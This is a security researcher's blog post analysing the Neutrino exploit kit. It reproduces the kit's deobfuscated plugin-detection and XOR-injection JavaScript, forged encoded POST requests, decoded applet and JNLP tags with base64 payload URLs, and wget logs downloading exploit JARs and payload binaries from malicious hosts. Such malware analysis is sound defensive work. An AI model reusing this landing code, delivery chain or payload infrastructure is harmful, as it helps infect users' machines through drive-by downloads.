Showing posts with label 0-day. Show all posts
Showing posts with label 0-day. Show all posts

Tuesday, September 3, 2013

Neutrino Exploit Kit - Not so exploity after all

Finally it is time to go all the way and take a real close look at what the Neutrino exploit kit is all about. I have tried a couple of times before, but run out of time and energy before I could finish the task. And as aleways it is great fun analyzing these things.

It could be an idea to take a look at my earlier posts on Neutrino, if you are new to this kit, as I might take some information for granted.
earlier posts:
Neutrino exploit kit landing demystified and Neutrino exploit kit analysis - where we look into the landing page and how the plugin detection is done.

0. Prologue

The kit has changed and evolved a bit over the past 6 months, but the main parts stay the same. It is built on the same landing with minor changes, the plugin detect  are pretty much the same, new exploits have been integrated and now even a 0-Day exploit for Java 1.6.0_45 have been incorporated. The xor schemes have not changed at all.
What drove me to pick up and analyse this kit again was the possybility for uniq exploits as the kit ships versions on Java, PDF, SWF, VLC, WMP, Silverlight, Office and what not as part of the plugin detection process. Well what did we get? read on and you will find out...

As I think this will be my reference post on Neutrino I will try to cover most of the bases. And beware we will use some previously written python code, so don't be confused if you find a link to some nice Monty Python stuff too. Hey lets start with the confusion "Confuse a cat LMTD".

Special thanks to @malwaresigs for poking my curiosity again with this tweet
and also for providing me with the live kit.

1. How do we get to the landing

As always with xploit kits one of the hardest parts is actually getting to the landing page. With Neutrino we will have to have a referer. Without it we will be seeing 404's a lot. And that is not something we like when we are trying to figure out what a piece of evil code is up to.
A lot of different gates have been published. But now it seem like the guys behind it have gone to simplisity. No variables are used to bring info to the gate:



--2013-09-03 --  hxxp: //ppbenicarlo.com/files
Resolving ppbenicarlo.com... 5.56.22.5
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: hxxp: //ppbenicarlo.com/files/ [following]
--2013-09-03 --  http://ppbenicarlo.com/files/
Connecting to ppbenicarlo.com|5.56.22.5|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988 [following]
--2013-09-03 --  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/hvvuhbecpodgel?gheouwdi=3251988
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `redir-16'

     0K .                                                       147M=0s

2013-09-03 05:17:51 (147 MB/s) - `redir-16' saved [2016]

So the gate is visited twice. First it redirects to self, then the actual redirect to the landing.

2. The landing explained


 < script type = "text/javascript" > 
$(document).ready(function() {
     req("5225a941aaa2cc9a092b4f1f", "nyqxmafwrhewro", "jvimdr", "suuwfh", "dicktmgczjtshk") //@malforsec hid, post url, xor key, paramname xor, paramname post
 });

 function req(a, c, e, b, f) { //@malforsec change the order of the input, to confuse?
     var h = PluginDetect.getVersion,
         d = [{
             adobe_reader: "AdobeReader"
         }, {
             java: "Java"
         }, {
             flash: "Flash"
         }, {
             quick_time: "QuickTime"
         }, {
             real_player: "RealPlayer"
         }, {
             shockwave: "Shockwave"
         }, {
             silver_light: "Silverlight"
         }, {
             vlc: "VLC"
         }, {
             wmp: "WMP"
         }],
         g = [];
     g.push("hid:::" + a); //@malforsec add host id sepaator :::
     for (var k in d) for (var l in d[k]) g.push(l + ":::" + h(d[k][l])); //@malforsec add the plugins separator :::
     g.push("office:::" + office_ver());
     a = xor;
     h = encodeURIComponent;
     d = {};
     d[b] = e;
     d[f] = h(a(g.join(";;;"), e)); //@malforsec join the array separate with ;;;, then xor, then urlencode and HTTP POST
     $.post(c, d, function(a, c) {
         var b = decodeURIComponent,
             d = xor;
         $("body").append(d(b(a), e)) //@malforsec add to the html page, run it before it is fully loaded d(b(a), e) -> xor(urldecode(answer from POST))
     })
 }
 function xor(a, c) {
     for (var e = "", b = 0, f = 0, b = 0; b < a.length; b++) f = Math.floor(b % c.length), e += String.fromCharCode(a.charCodeAt(b) ^ c.charCodeAt(f));
     return e
 }
 function office_ver() {
     var a = 0,
         c = 0;
     try {
         a = new ActiveXObject("SharePoint.OpenDocuments.4")
     } catch (e) {}
     try {
         c = new ActiveXObject("SharePoint.OpenDocuments.3")
     } catch (b) {}
     return "object" == typeof a && "object" == typeof c ? "2010" : "number" == typeof a && "object" == typeof c ? "2007" : null
 }; < /script>

3. So we have been thoroughly searched, what now

As we now know the detected plugins are shipped to the EK engine to prepare a fitting exploit. But what exploits can we be struck by? First lets take a look at the clear text format of the HTTP POST.


id:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::1,6,0,45;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null

Pretty neat with name and value pairs separated with ::: between the name and values. And the ;;; to separate the name/value pairs. Easy to parse at the other end of the intertubes. But Neutrino do not send those in clear text. XOR fun and urlencoding is utilized. Can we get the exploits out?

4. Fetching the exploits

When fetching exploits we should not drop a truckload on the intertubes, that could just clog it up. So lets start out really easy, encoding the POST from aboce and just pretend to have Java 1.6.0_45 installed. Which should give us the Java 0-Day from back.
Encoded HTTP POST:


suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPLXAR%255EZZ%255DX_IQ%2510%2505%250C%2517%251APLS%2503%2511%251E%2506MRV%2515%2507%2503%2515%25022%2510%251B%2507%2513SW%255E%251C%251F%251A%2505V_I%2518%2513%2508%2501%253B%2502%2506%2517%2510%2508%2516HPL%2507%2518%2508%251EQMR%251E%250C%251D%2509%251D%251E%250C%2512%2517PLS%2503%2511%251E%2506MRV%2517%251B%2506%2500%250C%251F%253B%251E%2503%2511%2501%2519%255EHP%2518%251C%2501%2508IQM%251F%2501%2507HPL%2507%2518%2508%251EQMR%251A%2509%2502PLS%2503%2511%251E%2506MRV%250B%2514%250C%251F%250A%2508%255EHP%2518%251C%2501%2508

Now we are ready. Lets fire it and see what happens. We get this back:

V%17%19%1D%08%17%1EV%08%1F%07%1A%03%0CPC%1A%1E%02%19WK%5D%08%01%05%1A%15%0A%1E%14%03%1F%5C%0E%18%1A%09%0B%18%05X%0A%02%09HRFY%5DK%17%12%18%18%06%12%
04%0B%11%0F%09%0CM%13%05%1F%15%1C%1F%06%1D%1C%08%10O%02%15%1A%07%11%1A%05QI%0E%0B%16%0FKN%26%16%17MV%1E%04%06%02KN%5CTUJ%1E%0C%04%03%1A%1EKN%5CTUT%7C%6
0dm%7Bc%7FU%1D%05%0B%1BI%03%05%1F%0FKN%08%1C%17%09QI%1B%05%1E%1F%13TJ%05%3A8F%0A%29%0B%04%26D%23%5E%06%3A%0E%0E%0C%256%1B%0B%18%23%06%28%1F8%03%0A_6%04
%0B%1BQ%18%3D%40S%02%26%07%03%05%272%28%1B%01%1F%24%19%08%14%0B%08%1B%5C%1E4A%06%1E0%5E%3E%40%0F%3E3%074%25%02%1C%0A_%14C%0B1QPCL%60%7F%60dm%7BcJ%19%0C
%16%13%07V%07%0C%09%17WQ%11%06%01%0BMV%1F%0C%08%07%0FKN%0A%0E%1F%07QWgm%7Bc%7F%60QK%13%1A%06%05%08%10L

Yeah, XORED and urlencoded too. As expected from the JavaScript code from the landing. Lets decode it.

<applet archive='hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho' code='Kre' width='10' height='10'>
      <param name='exec' value='aHR0cDovL2J3bHdxeHRianJkLmRuc2Rvam8uY29tOjgwMDAvemNoampybm5sP3lhY3Z2eHZjPWhjc2p1
aG8='>
      <param name='xkey' value='gjmm'>
     </applet>


That looks good. Nice applet tags. Lets go and fetch the JAR and binary:
Decoded binary URL:

hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho

--2013-09-03--  hxxp:// bwlwqxtbjrd.dnsdojo.com:8000/exnqkvvagfdh?ysvxxmlkuet=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_45.jar'

     0K .........                                             100%  110K=0.09s

2013-09-03  (110 KB/s) - `1.6.0_45.jar' saved [9724/9724]

--2013-09-03 05:29:09--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'


2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]


Sweet stuff. We got what we came for.

Now lets see what else is hidden in the cookie JAR of the Neutrino exploit kit.
Lets fetch the JAR files for version 1.6.0_32
To do that we will have to go all the way through the gate again as the kit just responds with 404's for more fetches after we have downloaded the binary. You can not fetch more JAR files after you have fetched one JAR either,without going via the gate

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/naovxqrjjp
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.6.0_32'

     0K                                                        31.4M=0s

2013-09-02 16:17:58 (31.4 MB/s) - `java-tags_1.6.0_32' saved [792]

--2013-09-02 --  hxxp: //scxfwwghjjhtkifqlpm.home.dyndns.org:8000/ebqnyztjjsla?ydzvadw=nckympvem
Resolving scxfwwghjjhtkifqlpm.home.dyndns.org... 94.249.196.115
Connecting to scxfwwghjjhtkifqlpm.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.6.0_32.jar'

     0K .........                                             100% 16.0K=0.6s

2013-09-02 16:22:11 (16.0 KB/s) - `1.6.0_32.jar' saved [9724/9724]


Hmm, we got the same JAR. Could be that one exploit is enough for the Java 1.6 branch or there could be more exploits in one JAR. So one JAR for all 1.6.0_* versions

Lets see whats thrown at us if we come with a 1.7.0_* configured client. To cut it short - one JAR for all 1.7 versions too. u11, u14 and u16 fetched below.

First the answer from the HTTP POST:


E%17%07%12%1E%1F%10G%7C~k%7BsmpJ%07%03%1B%09Y%18%16%0F%17GC%13%18%1B%12-%12%16%1C%10PB%04%1B%08%0C%13JE9%08%01W%1C%19%0E%02%5DZs%7F~k%7BsmE%06%16%10%13
%17D%17%17%1A%07O%5D%0E%17%1A%07%3D%17%17%06%1C%12%13%07%16%5DD%0F%17%1B%17%17GC%292NV%10-%13%1E%12%1A4%0B%19V%15%15%08B%13%29%2AB%2B%1B8%08%1B%1B9%
14%28%3D%08%0C%2C%0DR%1B%1E%3C%2B%1B%3B6%15%134%03B%3C%21%23%11.%3A%27%1CZ%13%17Q%0A%154%20%1D%19%09%2F%1B%27186%07%14%23%02%03%1FO%17%1A5%3E%05%11I%26%15
%2F%0DR%1B77M%01%3E%0B0N%06.%0E%02%01%08%0A%15%23%18%10%5B%3B%17%0CI%12%3F%23D6%1D%40%07.%3A%28%12%3E%17%11%02%3B%40C%100%1CC%291%2B%0F35%26%098%2A%23%15%
03-%0FK%03%06.0G%03%25C%11%29%11%18%281%2B%0F35%26%098%2A%2C%2B%06%13%25%0A%164%120%015%02%08%1D2%14%16%3D%08I%1407Y9%03%12%3C43%190%27%28%1DO%06%1F
%2C%11%231N%1B%22%11%5D%2F%20%2C%01%200%0E%13%0F%24%0F%3E%3EO%0E2%15%15.%3A%27%1C%281%2B%0FA%3AE%0E%07%20%09%40%0F%1554J%05.O%022%15%15.%3A%27%1C%28
1%2B%0FA%15%1A4%08%18W%2F%0F.P%244%1E%19%3D%21%23%11.%3A%27%1C%28%22%3D%0B%15E7%15%1B%2C3%1A-%08B%13%051%24G%016%15%125D%07%0A%16%17%21%0C%15D4%076%
097%151K%0D%07%14O%1C%06%254T%1A%0FN%0A%16%226%0F%2C0%15%04%1B%0E3%0C-1%3B%1D%14%20%0E%01%40%16%12%1B%1CG%0B%3F%29PJ%3D%0E%2B%156%1EM%3D43%190%27%28
%1D%3D%21%26%02%15%20.%3E%05%132.%15%2C%1DR%1B%1B%2C%2BF%14%26%1D%0C%28K%1A85O%16%23%3E%25%12%11-.%0D%17D%20B%19%23%2B%0F%121G%15%06KG%1B5%16%11%1D.
%10%17%10I.%179%1D%05%057%208-5%06J%3EJ%3C%02%06%40%20%16%1A%18%1B%16%16H%0FV%13%2F%28A%20%093%1A%13%0C4N%3E%13G%078%1F%02U%1AE1T%16%17%22%0F%3F%1E%20%
06%233%15%03%2718J%07%17%20%1B%2B%1B%3B%12%29%11%18%281%2B%0F35%26%09J6W3%1A%14PKK%07%148%1B%01%08N%2F%3A%27%1C%281%2B%0F3%260%24%05%19%23%01%1A%13%21C%11
%3E%218%1D%2B5K%0C%18%21C%16%2BH%1C%11%15D%2FK3%0F%0D%0F-1%3B%1D%06%140%038%26J%0D%28.5%15%10%3D2I%3F%1E%20A%1B3%2BF%16%26B%13%29-7%1E%2B5%12%08%18%21%13%
0D%16%3ET%10%3B%23%23%1B%2A%03%16%3C43%190%27%28%1D%3D2%3A8%0C%1A%1B1%16%3B%3DQ%11%14%207K3%08%40%10.%3A0%0D%06%3E%20G%3AA4%1E%1D%1ANP%2B-%1C%09%2C0%24B%2
03%28%1F%3E%2A%28%12%061%20%1B2%210T%1A%18%21%0E%3B%13%25%0F%26%10%0D895%12%3C43%19B%07%3E0%0E%3B%25J%03%1B%1B1%16%28.T%10%2C%2F%0A%1E%23%1D0%11%13%0F4%09
.%23N%2B%1F%3C-%2C%1C5%08%20%3D%5DK%223%28%01%1EU%09%3E9%3A8%1B7%3F%3C%3BC%1E%2F%1D12%18%23%10%26%13%24F%28G%2024G%15P%3B%03%29.%0E%1E0%40%02U%230%1
F%0C%16--%03%25%1AW%22%1B%09%1DE%237%208%14%20%026%1C%12%0C%1B%22%21Q%2B%11%07H8%1B%12%07%2F%0A%15%27%3AP%0AI%3E%3D%3C8%40%28%11%28%1B%03%03%20H%17L
%2F%21%06%13%19V%2B%2F%23%0C%1A%16%06%15%06%18%3B%1C%19%5D%29%25%3E%05%3EP25%26%09895%12%3C%27%2A0%12%07%140%03%2B5O%0C%1B%21%22%5B%3B%14%0C%0B%2C%2F%0
9%1B3%2C%23%1E%15%2A%24%164%2A%3C%0F8A0W0%1F6%14%22%1D%0B35%26%09895%12N%3BP4%0D%07%3E%0E%1B%061K%0F%23.9%08%22%1D%0B35%26%09890%0E%16%0FG%09%07%3DBJEL
pmp%7F~kNU%05%09%06%1B%07%06D

Decoding:

<applet>
      <param name='jnlp_href' value='Kre.jnlp'>
      <param name='jnlp_embedded' value='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KCQkJCQk8am5scCBocmV
mPSJLcmUuam5scCIgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9qYXZhZnguY29tIj4KCQkJCQkJPGluZm9ybWF0aW9uPgoJCQkJCQkJPHRpdGxlPkFwcGxldDwvdGl0bGU+CgkJCQkJCQk8dmVuZ
G9yPk9yYWNsZTwvdmVuZG9yPgoJCQkJCQk8L2luZm9ybWF0aW9uPgoJCQkJCQk8cmVzb3VyY2VzPgoJCQkJCQkJPGoyc2UgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJ
zZSIgdmVyc2lvbj0iMS43KyIgLz4KCQkJCQkJCTxqYXIgaHJlZj0iaHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvZWt0Z3Jud2Zrcnltd2k/eXJ3ZmJldnF4Zj1pZmx1c
3F6dmFvIiBtYWluPSJ0cnVlIiAvPgoJCQkJCQk8L3Jlc291cmNlcz4KCQkJCQkJPGFwcGxldC1kZXNjIG1haW4tY2xhc3M9IktyZSIgbmFtZT0iQXBwbGV0IiB3aWR0aD0iMTAiIGhlaWdodD0iMTAiPgo
JCQkJCQkJPHBhcmFtIG5hbWU9Il9fYXBwbGV0X3Nzdl92YWxpZGF0ZWQiIHZhbHVlPSJ0cnVlIiAvPgoJCQkJCQk8cGFyYW0gbmFtZT0iZXhlYyIgdmFsdWU9ImFIUjBjRG92TDJsd1pHNXJaSFJwY1dKd
GEzQjBjR1J5ZVM1b2IyMWxiR2x1ZFhndWIzSm5Pamd3TURBdmVuTnhhbTV3Ykc1NlpuUnlQM2x3ZDJOb2RuQmtaR2s5YVdac2RYTnhlblpoYnc9PSIgLz4KCQkJCQkJPHBhcmFtIG5hbWU9InhrZXkiIHZ
hbHVlPSJxZ3J3IiAvPgoJCQkJCQk8L2FwcGxldC1kZXNjPgoJCQkJCTwvam5scD4='>

Decoding:

<?xml version="1.0" encoding="utf-8"?>
     <jnlp href="Kre.jnlp" spec="1.0" xmlns:jfx="http://javafx.com">
      <information>
       <title>Applet</title>
       <vendor>Oracle</vendor>
      </information>
      <resources>
       <j2se href="http://java.sun.com/products/autodl/j2se" version="1.7+" />
       <jar href="hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao" main
="true" />
      </resources>
      <applet-desc main-class="Kre" name="Applet" width="10" height="10">
       <param name="__applet_ssv_validated" value="true" />
      <param name="exec" value="aHR0cDovL2lwZG5rZHRpcWJta3B0cGRyeS5ob21lbGludXgub3JnOjgwMDAvenNxam5wbG56ZnRyP3lw
d2NodnBkZGk9aWZsdXNxenZhbw==" />
      <param name="xkey" value="qgrw" />
      </applet-desc>
     </jnlp>

So the Java 1.7 branch uses jnlp.
Fetching:


-2013-09-02--  hxxp: //ipdnkdtiqbmkptpdry.homelinux.org:8000/ektgrnwfkrymwi?yrwfbevqxf=iflusqzvao
Resolving ipdnkdtiqbmkptpdry.homelinux.org... 94.249.196.115
Connecting to ipdnkdtiqbmkptpdry.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_16.jar'

     0K .........                                             100% 30.9K=0.3s

2013-09-02  (30.9 KB/s) - `1.7.0_16.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //gsojvgunokhgrv.homelinux.org:8000/egsdfpw?yutephlcpugl=muyluxwkui
Resolving gsojvgunokhgrv.homelinux.org... 94.249.196.115
Connecting to gsojvgunokhgrv.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_14.jar'

     0K .........                                             100% 51.0K=0.2s

2013-09-02  (51.0 KB/s) - `1.7.0_14.jar' saved [9724/9724]

--2013-09-02 --  hxxp: //tbyvfuyoeticobvsmlj.homelinux.org:8000/eflkzub?ytozyyp=eoitnyee
Resolving tbyvfuyoeticobvsmlj.homelinux.org... 94.249.196.115
Connecting to tbyvfuyoeticobvsmlj.homelinux.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9724 (9.5K) [application/java-archive]
Saving to: `1.7.0_11.jar'

     0K .........                                             100% 62.3K=0.2s

2013-09-02 (62.3 KB/s) - `1.7.0_11.jar' saved [9724/9724]




Now to the mystery of VLC, Silverlight, Office, ODF, SWF and so on. What is hidden:
Here are some of the versions tested:
Clear text and encoded  HTTP POST:


post PDF:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::8,0,0,456;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EHRZYAT%255E%255EC_V_I%2500%2517%251F%250C%255EHP%2518%251C%2501%2508IQM%250F%2501%2505%2501%2502LSW%250A%2507%2506%251ARV_%2503%251F%251F%250A%2506%253B%2506%2503%251B%250CW%255EH%2504%2503%2505%2501_IQ%2504%250C%250C%2508-%251A%251A%2508%2514%2501%2500PLS%2503%2511%251E%2506MRV%2517%251A%2505%2515%2502%251A%2505%2504%250FLSW%250A%2507%2506%251ARV_%2501%2503%251A%251F%2508%2516-%2506%251F%250E%2505%2510HPL%2507%2518%2508%251EQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E

post Flash:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::10,3,183,14;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255ECZZZAUJYZXY_IQ%2507%251C%2504%2507%25195%2502%2500%2500%2501HPL%2507%2518%2508%251EQMR%251F%2501%2513%2506)%2519%2501%2505%250B%250F%2504SW%255E%251C%251F%251A%2505V_I%2519%251E%2506%250E%250F%2505%250B%2500%250CW%255EH%2504%2503%2505%2501_IQ%2505%2500%2501%2512%2517%2518)%2505%2504%2503%251A%251ELSW%250A%2507%2506%251ARV_%2504%2506%2515SW%255E%251C%251F%251A%2505V_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A

post VLC:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::null;;;vlc:::2,0,3;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLS%2503%2511%251E%2506MRV%2512%251E%2509LSWV%255EZZZV_I%251D%251B%2519W%255EH%2504%2503%2505%2501_IQ%2519%250F%250B%250D%2511%250FLSW%250A%2507%2506%251A

post Silverlight:
hid:::5225a941aaa2cc9a092b4f1f;;;adobe_reader:::null;;;java:::null;;;flash:::null;;;quick_time:::null;;;real_player:::null;;;shockwave:::null;;;silver_light:::4.1.10111;;;vlc:::null;;;wmp:::null;;;office:::null
suuwfh=jvimdr&dicktmgczjtshk=%2502%251F%250DW%255EH_D%255BX%2505K%255EG%2508%250C%2505%2540%2509%2515P%250CTKX%2514%255D%250BU%2514QMR%250C%2500%251D%2508%25136%251F%2501%2513%250E%2513%251BW%255EH%2504%2503%2505%2501_IQ%251C%2508%251B%2505HPL%2507%2518%2508%251EQMR%250B%2508%2513%2519%251ESW%255E%251C%251F%251A%2505V_I%251B%2503%2500%250E%250F-%251E%251F%2504%2508%255EHP%2518%251C%2501%2508IQM%251B%2508%2505%251E5%2506%2505%250C%251D%2517%2518LSW%250A%2507%2506%251ARV_%2501%2502%2519%250A%2506%2513%2513%251C%2513SW%255E%251C%251F%251A%2505V_I%2519%251F%2505%251B%2501%25005%251A%2500%250A%250C%2506PLSYJCDGY%255CUCQMR%251B%2508%2511PLS%2503%2511%251E%2506MRV%2513%251F%251ALSW%250A%2507%2506%251ARV_%251D%250C%2510%2500%250E%2501HPL%2507%2518%2508%251E

PS: All these are encoded based on the landing on the top if you want to reproduce it.

Here are the fetch results:

--2013-09-02--  hxxp: //cqowynqjwwgtbed.ham-radio-op.net:8000/nnkboixgotwwk
Resolving cqowynqjwwgtbed.ham-radio-op.net... 94.249.196.115
Connecting to cqowynqjwwgtbed.ham-radio-op.net|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `pdf-1'

     0K                                                        0.00 =0s

2013-09-02  (0.00 B/s) - `pdf-1' saved [0]

--2013-09-01 --  hxxp: //cgudhxvieudmocisb.mine.nu:8000/noaulughyvxd
Resolving cgudhxvieudmocisb.mine.nu... 94.249.196.115
Connecting to cgudhxvieudmocisb.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `silverlight-1'

     0K                                                        0.00 =0s

2013-09-01 (0.00 B/s) - `silverlight-1' saved [0]


--2013-09-01 --  hxxp: //bsovyhrmpfbysdgn.mine.nu:8000/nizhpcdk
Resolving bsovyhrmpfbysdgn.mine.nu... 94.249.196.115
Connecting to bsovyhrmpfbysdgn.mine.nu|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `swf-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `swf-2' saved [0]

--2013-09-01 --  hxxp: //qxihsmncllgyj.selfip.com:8000/nudyitxgn
Resolving qxihsmncllgyj.selfip.com... 94.249.196.115
Connecting to qxihsmncllgyj.selfip.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `vlc-2'

     0K                                                        0.00 =0s

2013-09-01  (0.00 B/s) - `vlc-2' saved [0]

Yes 200 OK's from the server the request is accepted :) But what happens? Zero content. OK so it looks like the kit is accepting requests but have nothing to serve us. Lets validate with Java 1.7.0_25.
You get the idea with the encoded HTTP POST now so lets just look at the JAR fetch:


--2013-09-02 --  hxxp: //ekutxbbvwqrnpt.home.dyndns.org:8000/nddangrrqdjblwm
Resolving ekutxbbvwqrnpt.home.dyndns.org... 94.249.196.115
Connecting to ekutxbbvwqrnpt.home.dyndns.org|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `java-tags_1.7.0_25'

     0K                                                        0.00 =0s

2013-09-02 (0.00 B/s) - `java-tags_1.7.0_25' saved [0]


HTTP 200 OK with zero content is the behaviour of the Neutrino EK if it has no exploit to serve you with an otherwise OK request. 

5. JARs only

So we have estblished, in opposite, to what I thought that the Neutrino expoloit kit only serve Java exploits. If we look at the advertisement on Neutrino posted over at malware.dontneedcoffee.com 
that was the intial setup, and I guess the author have not incorporated more exploits, as promised. Why send that info into the kit then? I do not know and can only speculate. Could be to collect info on potential new exploits to add or just to waste peoples, like me, time :) Whatever, we now know the entire exploit range of the kit.

6. Sidestep

Ofthen when I look into EKs I mess it up and get frustrated. No exception this time. As I sat last night going through the kit and was about to fetch a JAR I got a 404 I did not expect to see. Crap I thought - did it shut me off???? Not only a HTTP 404 but it redirected to this domain too:

hxxp: //qtqexjfgnmcsp.issmarterthanyou.com:8000/hluqlxpl?gmmqbqknblp=3251988

issmarterthanyou.com -> WTF. I mught be stupid but I'm  not a fool.

Excellent idea for all you exploit kit making guys out there: redirect me to a cool domainname when I screw it up :). The real reason was of course a typo 1.6.0.45 instead of 1.6.0_45 in the User-Agent string. Through me off for a couple of ms there.

7. Back on track

Having covered the expoits lets have a look at the binaries. Over a period of a couple of days I have received 2 different binary files from the kit. All binaries from Neutrino are XORed and need to be decoded before they can be executed.

fetching binaries:
remember this is the param exec from the applet tags received after we POST in our data:


--2013-09-03--  hxxp: //bwlwqxtbjrd.dnsdojo.com:8000/zchjjrnnl?yacvvxvc=hcsjuho
Resolving bwlwqxtbjrd.dnsdojo.com... 94.249.196.115
Connecting to bwlwqxtbjrd.dnsdojo.com|94.249.196.115|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 268288 (262K) [application/octet-stream]
Saving to: `1.6.0_45.bin'

     0K .......... .......... .......... .......... .......... 19%  208K 1s
    50K .......... .......... .......... .......... .......... 38%  929K 0s
   100K .......... .......... .......... .......... .......... 57%  682K 0s
   150K .......... .......... .......... .......... .......... 76%  938K 0s
   200K .......... .......... .......... .......... .......... 95% 1.03M 0s
   250K .......... ..                                         100%  766K=0.5s

2013-09-03 (541 KB/s) - `1.6.0_45.bin' saved [268288/268288]

Lets have a look at one of them:

000000: 2a30 c3bd 6d64 6a6d 6d63 6a6d 6dc2 98c2  *0..mdjmmcjmm...
0000010: 956d 6dc3 9f6a 6d6d 676a 6d6d 276a 6d6d  .mm..jmmgjmm'jmm
0000020: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
